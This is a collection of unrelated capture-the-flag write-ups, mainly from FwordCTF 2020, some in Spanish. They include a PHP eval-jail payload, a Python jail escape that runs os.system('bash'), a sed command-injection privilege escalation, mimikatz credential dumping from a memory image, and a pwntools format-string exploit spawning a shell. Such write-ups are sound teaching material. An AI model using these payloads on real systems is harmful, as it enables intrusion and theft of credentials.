## Chinese Remainder Theoremdef CRT(a, b, c, d): na = d * minv(d, b) * a + b * minv(b, d) * c nb = b * d na %= nb assert na % b == a assert na % d == c return na, nb
enc = int(open("./flag.enc", 'r').read())
n = 1e = 0x10001 + 0x02totph = 1wow = []res = 1for i in tqdm(range(2, 68)): res = res * (2**i - 1) f = FactorDB(2**i - 1) f.connect() A = f.get_factor_list() for num in A: if num in wow: totph = totph * num else: totph = totph * (num - 1) wow.append(num)
AA = 0BB = 1
wow.sort()for i in tqdm(range(0, len(wow))): print(wow[i]) if wow[i] > 50000: continue cnt = 0 whi = 0 for j in range(0, wow[i]): if pow(j, e, wow[i]) == enc % wow[i]: cnt = cnt + 1 whi = j if cnt == 1: AA, BB = CRT(AA, BB, whi, wow[i]) print(long_to_bytes(AA))```
### Flag
`CCTF{R3arR4n9inG_7He_9Iv3n_eQu4t10n_T0_7h3_mUcH_MOrE_traCt4bLe_0n3}` |
# Writeup JAILOO from fword ctf
We have the source of a php file that allow us execute commands via php eval(), the problem is a regex that only allow a few characters:```if(preg_match_all('/^(\$|\(|\)|\_|\[|\]|\=|\;|\+|\"|\.)*$/', $cmd, $matches)){ echo "<div class=\"success\">Command executed !</div>"; eval($cmd);```This basically means that we need to create a payload without using letters or numbers, just with ``&"+=()[]``So let's go I have coded a script that convert strings to that characters using the idea of getting an A and a from a php object like Array. We can get the "A" from index 0 and "a" from index 3.With that I started with SYSTEM:
But apparently it was not enabled y tried with asset, but it was disabled too.
So I end up using readfile(), As the server requires only 2 arguments I reused the submit variable to send the file I want to read. This means we need a payload like ``readfile($_POST[submit])``.
So let's create the payload I started with readfile:
now _POST :
And finally submit:
Adding alltogether we get our final pyaload:
```$_="".[];$_=$_[""];$__=("+"=="+");$__=$__+$__+$__;$____="".[];$___=$____[$__];$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____=$__;$__=$_;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$____.=$__;$__=$_;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$____.=$__;$______=$____;$_="".[];$_=$_[""];$__=("+"=="+");$__=$__+$__+$__;$____="".[];$___=$____[$__];$__=$___;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____=$__;$__=$___;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$___;$__++;$____.=$__;$__=$___;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$___;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$___;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_______=$____;$_____="_";$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$_____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$_____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$_____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$_____.=$__;$_=$$_____;$______($_[$_______]);```
We just need to go and try the files we want to read using the POST parameter submit
trying with /etc/passwd:
Getting the flag:
 |
> Flag in flag.php.
We can upload PHP code, which is written to a randomly named file and executed. We can't use a bunch of special characters, and our code can only contain one `.`, so reading the flag from `../flag.php` directly is not going to work.
After running `phpinfo()` and seeing there are lots of functions disabled, I used `get_defined_functions($exclude_disabled=true)` to see what is left, and noticed that while `preg_replace` was disabled, `preg_filter` was left enabled. I used this build the path to `flag.php` and simply `include` it:
include preg_filter("<files>", "flag.php", __DIR__); echo $flag;
This might've been an unintended solution, because the flag mentioned Lua. |
# Write-up FwordCTF
* [Forensics - Memory 1](#forensics---memory-1)* [Forensics - Memory 2](#forensics---memory-2)* [Forensics - Memory 3](#forensics---memory-3)* [Forensics - Memory 4](#forensics---memory-4)* [Forensics - Memory 5](#forensics---memory-5)* [Forensics - Infection](#forensics---infection)* [Forensics - Null](#forensics---null)* [Bash - CapiCapi](#bash---capicapi)* [Bash - Bash is fun](#bash---bash-is-fun)* [Reversing - Tornado](#reversing---tornado)* [OSINT - Identity Fraud](#osint---identity-fraud)* [OSINT - Tracking a Criminal](#osint---tracking-a-criminal)* [Misc - Secret Array](#misc---secret-array)
## Forensics - Memory 1
Archivos: foren.7z
> Give the hostname, username and password in format FwordCTF{hostname_username_password}.
Se trata de un dump de memoria, por lo que se utiliza **Volatility**.Con imageinfo obtengo que se trata de un dump con el perfil Win7SP1x64. El nombre del equipo se encuentra en el registro, por lo general en la clave 'HKLM\SYSTEM\ControlSet001\Control\ComputerName\ComputerName'.
Para obtenerlo se listan las hives del registro con el comando **hivelist** para ver la direcciΓ³n virtual de la subclave **SYSTEM**. ```volatility -f foren.raw --profile=Win7SP1x64 hivelist```
Luego se imprime el valor de la clave Computer name a partir de esta direcciΓ³n.```volatility -f foren.raw --profile=Win7SP1x64 printkey -o 0xfffff8a000024010 -K 'ControlSet001\Control\ComputerName\ActiveComputerName'```
El nombre del equipo es **FORENWARMUP**.
Para obtener el usuario y la contraseΓ±a se pueden usar **hashdump** y el plugin **mimikatz** que te proporciona la contraseΓ±a en claro, si estΓ‘ disponible.```volatility -f foren.raw --profile=Win7SP1x64 hashdump```
Para crackear el hash NTLM (el segundo) se puede usar CrackStation: https://crackstation.net/.
Mimikatz proporciona en claro la contraseΓ±a:```volatility --plugins=/home/utilidades/plugins-vol -f foren.raw --profile=Win7SP1x64 mimikatz```
**FwordCTF{FORENWARMUP_SBA_AK_password123}**
## Forensics - Memory 2
> I had a secret conversation with my friend on internet. On which channel were we chatting?
En la salida chromehistory se ve que ha estado chateando en un IRC. Hago un dump de la memoria de todos los procesos de chrome visibles en pstree y luego un strings para obtener la flag:
**FwordCTF{top_secret_channel}**
## Forensics - Memory 3
> He sent me a secret file , can you recover it?> PS: NO BRUTEFORCE NEEDED FOR THE PASSWORD
En el mismo dump de memoria de antes, hago un grep ahora con el nombre del canal y el prefijo de mensaje privado para observar la conversaciΓ³n ``PRIVMSG #FwordCTF{top_secret_channel}``
Se puede ver un enlace del que se descarga el archivo βimportant.zipβ, y su contraseΓ±a **fw0rdsecretp4ss**.Dentro del ZIP estΓ‘ flag en una imagen:
**FwordCTF{dont_share_secrets_on_public_channels}**
## Forensics - Memory 4
> Since i'm a geek, i hide my secrets in weird places.
La flag estΓ‘ escondida en el registro, en NTUSER.dat.```volatility -f foren.raw --profile=Win7SP1x64 printkey -o 0xfffff8a0033fe410volatility -f foren.raw --profile=Win7SP1x64 printkey -o 0xfffff8a0033fe410 -K 'FLAG'```
**FwordCTF{hiding_secrets_in_regs}**
## Forensics - Memory 5
Hago un dump de la memoria del proceso de Paint y le doy la extensiΓ³n **.data**, para luego intentar abrirlo en GIMP.
Jugando con los valores de desplazamiento y anchura del diΓ‘logo se puede ver la flag. Con el desplazamiento se pueden ver las diferentes imΓ‘genes, y con la anchura se modifica una especie de rotaciΓ³n para poder verla bien.
**FwordCTF{Paint_Skills_FTW!}**
## Forensics - Infection
[Write-up Jandrov](https://github.com/Jandrov/ctf-writeups/tree/master/2020-FwordCTF#forensics---infection)
## Forensics - Null
[Write-up Jandrov](https://github.com/Jandrov/ctf-writeups/tree/master/2020-FwordCTF#forensics---null)
## OSINT - Identity Fraud
> Someone stole our logo and created a team named "Eword". In order to find him, I created a fake twitter account (@1337bloggs) to join Eword team. Fortunately, they replied to the fake account and gave me a task to solve. So, if I solve it, they will accept me as a team member. ... Can you help me in solving the task?
Buscando las respuestas de la cuenta de Twitter @1337bloggs (https://twitter.com/1337bloggs/with_replies) me encuentro con una conversaciΓ³n con @EwordTeam. En ella le ofrecen unirse al equipo si consigue resolver βalgoβ que hay en su pΓ‘gina de CTFtime, cuyo enlace estΓ‘ en la descripciΓ³n de la cuenta.
Al acceder a la pΓ‘gina (https://ctftime.org/team/131587) no se ve nada aparte de la direcciΓ³n de Twitter, y es porque eliminaron la pista una vez les notificΓ³ el usuario.
Sin embargo, hay una captura en WaybackMachine en la que se aprecia la pista, una direcciΓ³n de Pastebin: http://web.archive.org/web/20200826195056/https://ctftime.org/team/131587
El contenido del Pastebin es:```Hi Fred,
You said that you are good in OSINT. So, you need to prove your skills to join Eword.
Your task:Find the leader of Eword, then find the flag in one of his social media accounts.
Hint:https://pastebin.com/PZvaSjA0```
El hint que proporcionan es un JPG con una captura de una historia de Instagram, en la que se puede ver un hotel (con su nombre).Con una bΓΊsqueda rΓ‘pida en Google veo que se trata del hotel Hilton Podgorica Crna Gora, y con la bΓΊsqueda "Hilton Podgorica Crna Gora" "advisor" "eword" encuentro una opiniΓ³n de un tal "Wokaihwokomas Kustermann" en la que se menciona el nombre del equipo.
El primer pastebin indicaba que la flag estaba en una de las redes sociales del lΓder, y en el perfil del usuario se ve la pista βcheck_my_instagramβ, por lo que lo busco en Instagram. En las historias destacadas se puede ver la misma imagen del hotel, y luego una en la que sugiere que las fotos de perfil de Instagram sean cuadradas. Esto parece una pista por lo que trato de obtener la imagen de perfil con el depurador de red del navegador. Sin embargo, la foto que se obtiene es muy pequeΓ±a, y en ella se puede apreciar que hay algo escrito en la parte inferior, pero que es ilegible.
Para ver la imagen de perfil a tamaΓ±o real utilizo la pΓ‘gina Instadp (https://www.instadp.com/fullsize/wokaihwokomaskustermann)Ahora sΓ se puede apreciar la flag.
**Eword{c0ngraAatulationZzZz_aNd_w3lCom3_to_Eword_Team_!}**
## Bash - CapiCapi
> You have to do some privilege escalation in order to read the flag! Use the following SSH credentials to connect to the server, each participant will have an isolated environment so you only have to pwn me! >> SSH Credentials > ssh -p 2222 [emailΒ protected] > Password: FwordxKahla
Listando las capabilities (```getcap -r / 2>/dev/null```) me encuentro con que el programa **/usr/bin/tar** tiene la capacidad de leer cualquier archivo del sistema (**cap_dac_read_search+ep**). Para acceder a la flag bastarΓa con comprimir la flag para luego descomprimirla en un archivo que sΓ tenga permiso de lectura para el usuario actual:
```getcap -r / 2>/dev/null/usr/bin/tar cvf /tmp/flag.txt.tar flag.txtcd /tmp/usr/bin/tar xvf flag.txt.tarcat flag.txt```
**FwordCTF{C4pAbiLities_4r3_t00_S3Cur3_NaruT0_0nc3_S4id}**
## Bash - Bash is fun
> Bash is fun, prove me wrong and do some privesc. >> SSH Credentials > ssh -p 2222 [emailΒ protected] > Password: FwOrDAndKahl4FTW
La flag solo puede ser leΓda por root o por un usuario del grupo **user-privileged**:
La salida de ```sudo -l``` indica que puedo ejecutar el script **welcome.sh** como user-privileged, el cual puede ver el contenido de flag.txt. El script es el siguiente:```bash#!/bin/bashname="greet"while [[ "$1" =~ ^- && ! "$1" == "--" ]]; do case $1 in -V | --version ) echo "Beta version" exit ;; -n | --name ) shift; name=$1 ;; -u | --username ) shift; username=$1 ;; -p | --permission ) permission=1 ;;esac; shift; doneif [[ "$1" == '--' ]]; then shift; fi
echo "Welcome To SysAdmin Welcomer \o/"
eval "function $name { sed 's/user/${username}/g' welcome.txt ; }"export -f $nameisNew=0if [[ $isNew -eq 1 ]];then $namefi
if [[ $permission -eq 1 ]];then echo "You are: " idfi```
Se puede llevar a cabo una inyecciΓ³n de cΓ³digo mediante el parΓ‘metro **username**, el cual es utilizado en el sed para sustituir la palabra βuserβ contenida en welcome.txt y mostrarlo por pantalla. El if relativo a la variable βisNewβ no se ejecuta nunca, pero se puede conseguir la ejecuciΓ³n de la funciΓ³n otorgando el valor **βidβ** al parΓ‘metro **'name'**, puesto que con el parΓ‘metro **permission** se puede ejecutar la sentencia βidβ, que en vez de ser el comando /usr/bin/id serΓa la nueva funciΓ³n exportada.
La flag se leerΓa entonces asΓ: ```sudo -u user-privileged /home/user1/welcome.sh -u "pwned/g' flag.txt; echo '" -n id -p```. NΓ³tese el echo del final con la comilla para cerrar correctamente el resto del comando y que no genere un error de sintaxis.
**FwordCTF{W00w_KuR0ko_T0ld_M3_th4t_Th1s_1s_M1sdirecti0n_BasK3t_FTW}**
## Reversing - Tornado
Archivos: Tornado.7z
El archivo comprimido contiene un script en Python que desordena y cifra una flag con AES, cuya clave es conocida. Modifico el script para realizar funciones de descifrado, invirtiendo el orden. Sin embargo, la flag estΓ‘ desordenada, ya que pasΓ³ por la funciΓ³n **shuffle** antes de ser cifrada. Esta funciΓ³n es vulnerable porque asigna como semilla un caracter de la propia flag. Como la flag tiene el formato **FwordCTF{**...**}**, se puede iterar por cada caracter diferente de la flag y comprobar si las posiciones finales de la flag incompleta son iguales.
Un **detalle importante** que me hizo perder bastante tiempo, es que debe correrse con **Python3**. Entre las versiones de Python diferentes no se genera la misma secuencia de nΓΊmeros para la misma semilla.
```python#!/usr/bin/python3#-*- encoding=UTF8 -*-from Crypto.Cipher import AESfrom Crypto.Util.Padding import pad, unpadfrom Crypto.Util.number import long_to_bytesfrom binascii import hexlify, unhexlifyimport random
key = "very_awes0m3_k3y"flag = "FwordCTF{W!Pr35gp_ZKrJt[NcV_Kd-/NmJ-8ep(*A48t9jBLNrdFDqSBGTAt}" # Cadena aleatoria de pruebaassert len(flag) == 62assert len(key) == 16
def to_blocks(text): return [text[i*2:(i+1)*2].encode() for i in range(len(text)//2)]
def random_bytes(seed): random.seed(seed) return long_to_bytes(random.getrandbits(8*16))
def encrypt_block(block,key): cipher = AES.new(key.encode(), AES.MODE_ECB) plain_pad = pad(block, 16) return hexlify(cipher.encrypt(plain_pad)).decode()
def encrypt(txt, key): res = "" blocks = to_blocks(txt) for block in blocks: res += encrypt_block(block, key) return res
def translate(txt,l,r): return txt[:l]+txt[r:]+txt[l:r]
def shuffle(txt): seed=random.choice(txt) random.seed(seed) nums = [] for _ in range(45): l = random.randint(0, 15) r = random.randint(l+1, 33) txt = translate(txt, l, r) nums = [[l,r]] + nums return txt, nums
def slice(txt, n): return [txt[index : index + n] for index in range(0, len(txt), n)]
def decrypt_block(block,key): cipher = AES.new(key.encode(), AES.MODE_ECB) return unpad(cipher.decrypt(unhexlify(block.encode())), 16).decode()
def shuffle2(txt, seed): random.seed(seed) nums = [] for i in range(45): l = random.randint(0, 15) r = random.randint(l+1, 33) txt = translate(txt, l, r) nums = [[l,r]] + nums return txt, nums
def reverse_translate(txt, l, r): n = len(txt) - r + l res = txt[:l] + txt[n:] + txt[l:n] assert len(res) == len(txt) return res
def crack(encrypted): # Descifra los bloques blocks = slice(encrypted, 32) decrypted = "".join(decrypt_block(block, key) for block in blocks) print("[*] Descifrado: " + decrypted) # Ahora la flag estΓ‘ shuffleada, por lo que se obtienen los indices # de los caracteres unicos en la parte que se conoce de la flag known = "FwordCTF{}" uniqueKnown = "" for c in known: if decrypted.count(c) == 1: uniqueKnown += c print("[*] Caracteres ΓΊnicos de la parte conocida de la flag: " + uniqueKnown) indexes = [decrypted.index(c) for c in uniqueKnown] print("[*] Indices aleatorizados de los caracteres: " + str(indexes)) # Se itera el charset de la flag descifrada, ya que la semilla es un caracter de esta, # y se busca con cuales de ellas se obtienen los mismos indices charset = [] for char in decrypted: if char not in charset: charset.append(char) dummy = "FwordCTF{BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB}" assert len(dummy) == 62
seeds = [] for char in charset: res, _ = shuffle2(dummy, char) i = [res.index(c) for c in uniqueKnown] if indexes == i: seeds.append(char) print("[*] Posibles semillas: " + str(seeds)) # Se obtiene la secuencia de numeros aleatorios generados en la funcion shuffle for seed in seeds: _, nums = shuffle2(dummy, seed) # Aplica las operaciones inversas solution = decrypted for lr in nums: solution = reverse_translate(solution, lr[0], lr[1]) print("[*] Posible soluciΓ³n con semilla {}: {}".format(seed, solution))
def shuffleEncrypt(txt, key): shuffled, nums = shuffle(txt) print("[*] Desordenada: " + shuffled) print("[*] Nums: " + str(nums)) return encrypt(shuffled, key)
#encrypted = shuffleEncrypt(flag, key)encrypted = "3ce29d5f8d646d853b5f6677a564aec6bd1c9f0cbfac0af73fb5cfb446e08cfec5a261ec050f6f30d9f1dfd85a9df875168851e1a111a9d9bfdbab238ce4a4eb3b4f8e0db42e0a5af305105834605f90621940e3f801e0e4e0ca401ff451f1983701831243df999cfaf40b4ac50599de5c87cd68857980a037682b4dbfa1d26c949e743f8d77549c5991c8e1f21d891a1ac87166d3074e4859a26954d725ed4f2332a8b326f4634810a24f1908945052bfd0181ff801b1d3a0bc535df622a299a9666de40dfba06a684a4db213f28f3471ba7059bcbdc042fd45c58ae4970f53fb808143eaa9ec6cf35339c58fa12efa18728eb426a2fcb0234d8539c0628c49b416c0963a33e6a0b91e7733b42f29900921626bba03e76b1911d20728254b84f38a2ce12ec5d98a2fa3201522aa17d6972fe7c04f1f64c9fd4623583cc5a91cc471a13d6ab9b0903704727d1eb987fd5d59b5757babb92758e06d2f12fd7e32d66fe9e3b9d11cd93b11beb70c66b57af71787457c78ff152ff4bd63a83ef894c1f01ae476253cbef154701f07cc7e0e16f7eede0c8fa2d5a5dd5624caa5408ca74b4b8c8f847ba570023b481c6ec642dac634c112ae9fec3cbd59e1d2f84f56282cb74a3ac6152c32c671190e2f4c14704ed9bbe74eaafc3ce27849533141e9642c91a7bf846848d7fbfcd839c2ca3b"print("[*] Cifrado: " + encrypted)
crack(encrypted)```
**FwordCTF{peekaboo_i_am_the_flag_!\_i_am_the_danger_52592bbfcd8}**
## OSINT - Tracking a Criminal
Archivos: Villages.zip
> We have found a flash memory in the crime scene, and it contains 3 images of different villages. So, the criminal may be hiding in one of these villages! Can you locate them?> Flag Format: FwordCTF{}> * Separate between the villages names using underscores ( _ ).> * All the villages names are in lowercase letters.> * There is no symbols in the villages names.
La primera imagen sale tras unas cuantas fotos similares en la bΓΊsqueda por imΓ‘genes de Yandex. Se trata de un hotel famoso en Llanfairpwllgwyngyll, Gales.
#################
A primera vista la segunda imagen me resultΓ³ familiar, y es porque estuve en estuve en este lugar en una carrera de orientaciΓ³n hace aΓ±os. Se trata de Monsanto, un pueblo en Portugal muy bonito y con unas cuantas cuestas.
Dejando a un lado la experiencia y analizando la imagen, creo que las principales pistas son: * La gran roca tras la casa en medio de la imagen. * El gallo veleta encima de la Iglesia a la derecha de la imagen * La cruz de piedra debajo de la iglesia
Una bΓΊsqueda en Google de ```"village" βbouldersβ``` y Monsanto aparece entre los primeros resultados. Desde Google Street View se puede ubicar la zona de la foto teniendo en cuenta la posiciΓ³n de la Iglesia y de la cruz.
Google Maps: https://www.google.com/maps/@40.0389769,-7.1163152,3a,75y,353.95h,97.3t/data=!3m6!1e1!3m4!1sxPxTHX5MEDkQgzwdIMKnKw!2e0!7i13312!8i6656
#################
Lo que se ve en la tercera imagen parece una especie de parque o cementerio en una ciudad montaΓ±osa, con varios edificios pintados de azul.
En la parte derecha de la foto se puede apreciar un logotipo naranja y amarillo con unas barras negras en medio, probablemente perteneciente a algΓΊn establecimiento. Tras varias bΓΊsquedas en internet y una bΓΊsqueda inversa de un dibujo en Paint que no subo porque es muy cutre, doy con que se trata del banco marroquΓ **Attijariwafa**, el cual tiene bastantes sucursales por el mundo.
Llama la atenciΓ³n que hay bastantes edificios pintados de azul. Realizo la bΓΊsqueda ```"morocco" "blue" "paint"``` el principal resultado es la ciudad Chefchaouen, caracterΓstica por este motivo. Busco en Google Maps su localizaciΓ³n y encuentro el banco junto al parque de la foto.
Google Maps: https://www.google.com/maps/@35.168796,-5.2683641,3a,89.1y,122.25h,91.39t/data=!3m8!1e1!3m6!1sAF1QipPf8SoKkPGNoScgrO36z6FUd9Pzyic6a7E4-yem!2e10!3e11!6shttps:%2F%2Flh5.googleusercontent.com%2Fp%2FAF1QipPf8SoKkPGNoScgrO36z6FUd9Pzyic6a7E4-yem%3Dw203-h100-k-no-pi0-ya229.80328-ro-0-fo100!7i8704!8i4352
**FwordCTF{llanfairpwllgwyngyll_monsanto_chefchaouen}**
## Misc - Secret Array
```nc secretarray.fword.wtf 1337```
Para hallar los valores, realizo la suma del primer valor con el resto, lo cual supone 1336 operaciones. La restante se utiliza para hallar la suma entre el segundo y el tercer elemento, suficiente para resolver la ecuaciΓ³n. Utilizo **Z3**:```python#!/usr/bin/python3from pwn import *from z3 import *
target = remote("secretarray.fword.wtf", 1337)target.recv()
solver = Solver()
LENGTH = 1337# Genera las variablesvariables = [Int(f"v_{i}") for i in range(LENGTH)]
for v in variables: solver.add(v > 0)
# Halla la suma del primer valor con el resto (1336 peticiones)print("[*] Hallando sumas...")for i in range(1, LENGTH): print("[*] " + str(i)) target.sendline("0 {}".format(i)) suma = int(target.recvline().strip()) solver.add(variables[0] + variables[i] == suma)
# Halla la suma del segundo y tercer valor (ΓΊltima peticiΓ³n)target.sendline("1 2")suma = int(target.recvline().strip())solver.add(variables[1] + variables[2] == suma)
# Resuelveprint("[*] Resolviendo...")solver.check()model = solver.model()
done = "DONE "for v in variables: done += str(model[v]) + " "
target.sendline(done)target.interactive()```
**FwordCTF{it_s_all_about_the_math}**
|
# Secret Array (Misc)```nc secretarray.fword.wtf 1337
Author: KOOLI```Netcat in, it outputs:```I have a 1337 long array of secret positive integers. The only information I can provide is the sum of two elements. You can ask for that sum up to 1337 times by specifing two different indices in the array.
[!] - Your request should be in this format : "i j". In this case, I'll respond by arr[i]+arr[j]
[!] - Once you figure out my secret array, you should send a request in this format: "DONE arr[0] arr[1] ... arr[1336]"
[*] - Note 1: If you guessed my array before 1337 requests, you can directly send your DONE request.[*] - Note 2: The DONE request doesn't count in the 1337 requests you are permitted to do.[*] - Note 3: Once you submit a DONE request, the program will verify your array, give you the flag if it's a correct guess, then automatically exit.
START:```Basically we can request addition of two different numbers, and need to answer all 1337 numbers.
This can easily solve by maths:
Once we get the first number `A0` then we can calculate the second and third one:
Once we found all, we can continue to calculate the rest by requesting `0 3`, `0 4` etc and substracting with the first number, until 1337
I solve this using Python and Pwntools:```pyfrom pwn import *a = []p = remote("secretarray.fword.wtf", 1337)p.recvuntil("START:\n")p.sendline("0 1")x = int(p.recvuntil("\n")[:-1])p.sendline("0 2")y = int(p.recvuntil("\n")[:-1])p.sendline("1 2")z = int(p.recvuntil("\n")[:-1])a.append((x + y - z)//2)a.append(x - a[0])a.append(z - a[1])
for i in range(3,1337): p.sendline("0 %i"%(i+1)) a.append(int(p.recvuntil("\n")[:-1])-a) print(i)
ans = "DONE"for i in range(1337): ans += " " + str(a[i])p.sendline(ans)p.interactive()```
## Flag```FwordCTF{it_s_all_about_the_math}``` |
The general procedure to go through this jail is in the following steps: -1. Get an instance of a class. **()** is commonly used, which is an object of the tuple class. -2. Get the reference of that class using the __class__ property. -3. βElevateβ to the object class using the __base__ property. -4. Go down to the __subclasses__() method, which returns a list with references to all the standard classes of the language. -5. Create an instance of a class which has some potential. file class can be used to read **directive.py** file. However, **warning.catch_warnings** is also used, which is more interesting: it has a **_module** property that is a reference to the whole module, so itβs possible to get the reference to **linecache** which contains the **os** module. final payload which runs os.system("/bin/bash"):
```pygetattr(getattr(getattr(getattr(getattr(getattr(getattr(getattr((), "\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"), "\x5f\x5f\x62\x61\x73\x65\x73\x5f\x5f")[0], "\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f")()[59],"\x5f\x5f\x72\x65\x70\x72\x5f\x5f"),"\x69\x6d\x5f\x66\x75\x6e\x63"),"\x66\x75\x6e\x63\x5f\x67\x6c\x6f\x62\x61\x6c\x73")["linecache"],"\x6f\x73"),"\x73\x79\x73\x74\x65\x6d")("\x62\x61\x73\x68")```
After getting the interactive shell, it's just a matter of dumping ldap subtree through python prompt directly without going through the jail file. ```conn.search_s("dc=fwordctfdomain,dc=org",ldap.SCOPE_SUBTREE)```and that's it. |
# FWORD CTF - One Piece Remake [pwn - 487p]
Note, i did not participate in the ctf, so i solved this challenge after the ctf had ended.
Checksec reveals that its a 32 bit binary with executable stack. We can also overwrite GOT if needed, as its only partial RELRO.```[*] '~/ctf/fword/one_piece_remake' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segments```The menu is similar to the one piece challenge, we can read and run shellcode. However the functionallity of the two are different. This time we are allowed to read 5 bytes into a buffer using the read function, and we can actually execute the 5 byte shellcode using the run command.
```cvoid readSC(void)
{ puts("Give me your devil-shellcode : "); printf(">>"); read(0,&sc,5); return 0;}
void runSC(void)
{ __x86.get_pc_thunk.ax(); (*(code *)&sc)(); return;}```
if we look at the source code, we can see that there is a "hidden" option, *gomugomunomi*, that calls the function *mugiwara*, also similar to the one piece challenge.```c iVar1 = strcmp(local_20,"gomugomunomi\n"); if (iVar1 != 0) break; mugiwara();```The mugiwara function has a standard format string vulnerability that we can use as a WriteWhatWhere primitive.
The easy way out would be to overwrite for example fgets with system, or a one gadget to get a shell, but i dont think that is what the author intended.
```cvoid mugiwara(void)
{ char local_70 [104]; puts("what\'s your name pirate ?"); printf(">>"); read(0,local_70,100); printf(local_70); return 0;}```
## Exploit plan* Leak stack buffer address and write `execve /bin/sh` shellcode to the stack buffer* write a `jmp stack buffer` shellcode into the 5 byte shellcode buffer* execute shellcode using the `run` option
### Problem As the 100 byte buffer is on the stack, most of it gets overwritten when we return back to the menu, there are only 16 bytes preserved when we get to run our shellcode. So we cant use the default `shellcode.sh()` from pwntools which requires more than 16 bytes. ### Solution Leak libc using the format string vuln, and execute `system(/bin/sh)`, as it only requires 16 bytes. (`push ptr_to_bin_sh_str; push fake_ret_addr; push pointer_to_system; ret`).
## Solve script```python#!/usr/bin/env python# -*- coding: utf-8 -*-# This exploit template was generated via:# $ pwn template --host onepiece.fword.wtf --port 1236 ./one_piece_remakefrom pwn import *
# Set up pwntools for the correct architectureexe = context.binary = ELF('./one_piece_remake')context.terminal = ['tmux', 'splitw', '-h']# Many built-in settings can be controlled on the command-line and show up# in "args". For example, to dump all data sent/received, and disable ASLR# for all created processes...# ./exploit.py DEBUG NOASLR# ./exploit.py GDB HOST=example.com PORT=4141host = args.HOST or 'onepiece.fword.wtf'port = int(args.PORT or 1236)
def local(argv=[], *a, **kw): '''Execute the target binary locally''' if args.GDB: return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw) else: return process([exe.path] + argv, *a, **kw)
def remote(argv=[], *a, **kw): '''Connect to the process on the remote host''' io = connect(host, port) if args.GDB: gdb.attach(io, gdbscript=gdbscript) return io
def start(argv=[], *a, **kw): '''Start the exploit against the target.''' if args.LOCAL: return local(argv, *a, **kw) else: return remote(argv, *a, **kw)
# Specify your GDB script here for debugging# GDB will be launched if the exploit is run via e.g.# ./exploit.py GDBgdbscript = '''
b *runSC+22continue'''.format(**locals())
#===========================================================# EXPLOIT GOES HERE#===========================================================libc = ELF('libc6_2.30-0ubuntu2.1_i386.so')io = start()io.sendline('gomugomunomi')io.sendline(b'#%p#%11$p#') # leak buffer and libc address.io.recvuntil('#')buffer_adr = int(io.recvuntil('#')[:-1], 16)log.success('buffer @ {}'.format(hex(buffer_adr)))
libc_leak = int(io.recvuntil('#')[:-1], 16)libc.address = libc_leak -0x6fdb1log.success('libc base @ {}'.format(hex(libc.address)))io.recvuntil('>>')io.sendline('read')shellcode = "jmp {}".format(hex(buffer_adr)) #shellcode to jump to our bufferio.sendline(asm(shellcode,vma=0x804a038))io.recvuntil('>>')io.sendline('gomugomunomi')io.recvuntil('pirate ?')shellcode = "push {}; push {}; push {}; ret".format(hex(next(libc.search(b'/bin/sh\x00'))), hex(0xdeadc0de), hex(libc.sym['system'])) #write our shellcode to the bufferio.sendline(asm(shellcode))io.recvuntil('>>')io.sendline('run') #execute shellcodeio.recvuntil('>>')io.sendline('grep Fword flag.txt') # need to use grep as there is no cat on the server Β―\_(γ)_/Β―io.interactive()``` |
# Identity Fraud (OSINT - 500 points)
-----
# Solution:
You have a twitter account in the description, open it and you will see tweet replies that are related to what is explained in the challenge description.```General obvious note:
Some of the players told me that there is a technical problem and they canβt see all the tweet replies, but I mentioned that (Eword) has replied to the fake account, so you need to check Eword twitter account too to see all the replies. (Youβll find Eword account in the replies of the fake account, also in the following list of the fake account)```
```The fake twitter account that Iβve mentioned in the description:https://twitter.com/1337bloggs
Eword Team twitter account:https://twitter.com/EwordTeam```
-----
**So, here is the tweet and the replies to it:**
-----
According to the description and the replies, there is a task that needs to be solvedβ¦In one of the replies, Eword says that something will be in their CTFtime team page and will be deleted when Fred (the fake account) takes a screenshot of the CTFtime team page.
**Note:**You can find Eword CTFtime page link in their twitter account.```https://ctftime.org/team/131587```
When you open Eword CTFtime team page link, you wonβt find anything interesting.<kbd></kbd>
**Thatβs because Eword said in the reply that they will delete that thing from their CTFtime page.**
**So, you need to find that thing before it was deleted.**
...
One of the ways to find something deleted from a webpage is to check previous versions of that pageβ¦**And simple βgooglingβ will give you the method:**
So, using The Wayback Machine on the CTFtime page link will give you what are you looking for:
